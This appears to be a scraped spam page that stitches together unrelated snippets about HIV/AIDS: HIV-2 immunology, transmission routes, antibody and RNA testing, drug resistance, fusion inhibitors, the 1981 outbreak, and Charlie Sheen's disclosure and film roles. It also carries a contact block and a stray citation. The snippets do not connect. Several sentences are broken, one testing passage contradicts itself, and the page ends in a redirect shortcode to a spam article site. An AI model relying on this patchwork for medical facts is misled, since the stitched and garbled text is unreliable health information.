Human immunodeficiency virus 2 (HIV-2) infection is a zoonosis in which simian immunodeficiency virus from a West African monkey species; the sooty mangabey is thought to have entered the human population on at least eight separate occasions. This has given rise to eight distinct HIV-2 groups, of which only groups A and B have continued to spread among humans; the other clades appear only to have led to single-person infections. Viral control in HIV-2 infection is associated with several distinct features—a high-magnitude cellular immune response directed toward conserved Gag epitopes, an earlier-differentiated CD8 + T cell phenotype with increased polyfunctionality and exceptionally high functional avidity, supported by polyfunctional virus-specific CD4 + T cells, against a background of substantially less extensive immune activation than is seen in human immunodeficiency virus 1 (HIV-1) infection. Emerging as one of the most striking differences from HIV-1 infection is the slower evolution and a possible lower frequency of adaptive immune escape in asymptomatic HIV-2-infected individuals.
(Acquired Immune Deficiency Syndrome) An immunological disorder in which the body’s immune response system becomes defective, leaving the sufferer open to opportunistic infections and some forms of cancer, such as Kaposi’s sarcoma. It is caused by infection with the HIV virus, transmitted mainly through sexual intercourse or infected blood products.
Developing AIDS requires that the person acquire HIV infection. Risks for acquiring HIV infection include behaviors that result in contact with infected blood or sexual secretions, which pose the main risk of HIV transmission. These behaviors include sexual intercourse and injection drug use. The presence of sores in the genital area, like those caused by herpes, makes it easier for the virus to pass from person to person during intercourse. HIV also has been spread to health care workers through accidental sticks with needles contaminated with blood from HIV-infected people, or when broken skin has come into contact with infected blood or secretions. Blood products used for transfusions or injections also may spread infection, although this has become extremely rare (less than one in 2 million transfusions in the U.S.) due to testing of blood donors and blood supplies for HIV. Finally, infants may acquire HIV from an infected mother either while they are in the womb, during birth, or by breastfeeding after birth.
HIV/AIDS has had a great impact on society, both as an illness and as a source of discrimination. The disease also has large economic impacts. There are many misconceptions about HIV/AIDS such as the belief that it can be transmitted by casual non-sexual contact. The disease has become subject to many controversies involving religion including the Catholic Church’s position not to support condom use as prevention. It has attracted international medical and political attention as well as large-scale funding since it was identified in the 1980s.
Keep in mind that the body hasn’t produced antibodies to HIV yet so an antibody test may not pick it up. (It can take a few weeks to a few monthsfor HIV antibodies to show in a blood test). Investigate other test options such as one that detects viral RNA, typically within nine days of infection.
One of the proteins that enters the cell with the viral genome is the viral reverse transcriptase, which transcribes the viral RNA into a complementary DNA (cDNA) copy. The viral cDNA is then integrated into the host cell genome by the viral integrase, which also enters the cell with the viral RNA. The integrated cDNA copy is known as the provirus. The infectious cycle up to the integration of the provirus is shown in Fig. 11.23. In activated CD4 T cells, virus replication is initiated by transcription of the provirus, as we will see in the next section. However, HIV can, like other retroviruses, establish a latent infection in which the provirus remains quiescent. This seems to occur in memory CD4 T cells and in dormant macrophages, and these cells are thought to be an important reservoir of infection.
For additional information and assistance about rare disorders, please contact the National Organization for Rare Disorders at P.O. Box 1968, Danbury, CT 06813-1968; phone (203) 744-0100; web site www.rarediseases.org or email [email protected]
If doctors suspect exposure to HIV infection, they do a screening test to detect antibodies to HIV. (Antibodies are proteins produced by the immune system to help defend the body against a particular attack, including that by HIV.) In addition, doctors recommend that all adults and adolescents, particularly pregnant women, a screening test regardless of what their risk appears to be. Anyone who is concerned about being infected with HIV can request to be tested. Such testing is confidential.
Testing for HIV infection by anyone how suspects infection. If treated aggressively and early, the development of AIDS may be postponed. If HIV infection is confirmed, it is also vital to let past sexual partners know so that they can be tested and receive medical attention.
The most advanced stage of HIV infection is Acquired Immunodeficiency Syndrome (AIDS), which can take from 2 to 15 years to develop depending on the individual. AIDS is defined by the development of certain cancers, infections, or other severe clinical manifestations.
“I’m here to admit that I am in fact HIV-positive,” Sheen told NBC’s Matt Lauer. “And I have to put a stop to this onslaught, this barrage of attacks and of sub-truths and very harmful and mercurial stories that are about the [alleged] threatening the health of so many others, which couldn’t be farther from the truth.”
In June, the 6th International AIDS Conference in San Francisco protested against the USA’s immigration policy which stopped people with HIV from entering the country. NGOs boycotted the conference.47
A major reason that resistance develops is the patient’s failure to correctly follow the prescribed treatment, for example, by not taking the medications at the correct time. If virus remains detectable on any given regimen, resistance eventually will develop. Indeed, with certain drugs, resistance may develop in a matter of weeks, such as with the nucleoside reverse transcriptase inhibitors (NRTIs) lamivudine (Epivir, 3TC) and emtricitabine (Emtriva, FTC), the drugs in the class of nonnucleoside analogue reverse transcriptase inhibitors (NNRTI) such as nevirapine (Viramune, NVP), delavirdine (Rescriptor, DLV), efavirenz (Sustiva, EFV), and rilpivirine (Edurant, RPV), as well as the integrase strand transfer inhibitors (InSTIs) such as raltegravir (Isentress, RAL) and elvitegravir (Vitekta, EVG). Thus, if these drugs are used as part of a combination of agents that do not suppress the viral load to undetectable levels, resistance will develop rapidly and the treatment will lose its effectiveness. In contrast, HIV becomes resistant to other drugs, such as the boosted protease inhibitors (PIs), over months. These drugs are discussed in more detail in subsequent sections, but it is important to note that when resistance develops to one drug, it often results in resistance to other related drugs, so-called cross-resistance. Nevertheless, HIV-infected individuals must realize that antiviral therapy can be and typically is very effective. This is the case even in those who have a low CD4 cell count and advanced disease, as long as drug resistance has not developed.
History marks the beginning of the American AIDS epidemic as June 5, 1981, when an issue of the C.D.C.’s Morbidity and Mortality Weekly Report — the authoritative voice of the agency — highlighted five cases of pneumocystis pneumonia (PCP) in previously healthy men in Los Angeles. Healthy people do not contract a disease like PCP, which had been largely confined until then to patients on medication to suppress their immune systems for an organ transplant or cancer patients on chemotherapy. Though not stated explicitly, the language of the report, by omitting race, implied that its “five young men, all active homosexuals,” were white, which they were. But there were two more documented cases, not mentioned in the notice, and these sixth and seventh cases were black — one of them a gay African-American, the other a heterosexual Haitian.
Enfuvirtide (T-20) is the only FDA-approved fusion inhibitor; it requires twice daily subcutaneous injections. Maraviroc (MVC) binds to and alters the structure of the CCR5 chemokine receptor, preventing it from being used as a coreceptor by HIV. Since some strains of HIV also can infect cells by using the CXCR4 chemokine receptor molecule as a coreceptor, MVC is ineffective in individuals who harbor CXCR4 tropic or dual tropic (using both CCR5 and CXCR4) virus.
More than one million people in the United States are living with HIV. It’s different for everybody, but many enjoy a good quality of life and can expect a longer lifespan than those diagnosed before today’s treatments were available.
Key populations are groups who are at increased risk of HIV irrespective of epidemic type or local context. They include: men who have sex with men, people who inject drugs, people in prisons and other closed settings, sex workers and their clients, and transgender people.
As the son of actor Martin Sheen, he had small parts in some of his father’s films. The public may have first become aware of him as a thuggish visitor in a police station making conversation with Jennifer Grey in 1986’s “Ferris Bueller’s Day Off.” That same year, Sheen starred in Oliver Stone’s Oscar-winning film “Platoon,” playing Chris, a soldier in Vietnam caught in a battle between Willem Dafoe and Tom Berenger.
A long time ago, some people got HIV from infected blood transfusions. But now, giving or getting blood in medical centers is totally safe. Doctors, hospitals, and blood donation centers don’t use needles more than once, and donated blood is tested for HIV and other infections.
^ Jump up to: a b Berger EA, Doms RW, Fenyö EM, Korber BT, Littman DR, Moore JP, Sattentau QJ, Schuitemaker H, Sodroski J, Weiss RA (1998). “A new classification for HIV-1”. Nature. 391 (6664): 240. Bibcode:1998Natur.391..240B. doi:10.1038/34571. PMID 9440686.
Earlier-generation enzyme-linked immunosorbent assay (ELISA) antibody assays are highly sensitive, but because they do not test for antigen, they are not positive as early as the 4th-generation combination test. Also, results are rarely false-positive. Positive ELISA results are therefore confirmed with a more specific test such as Western blot. However, these tests have drawbacks: [redirect url=’http://penetratearticles.info/bump’ sec=’7′]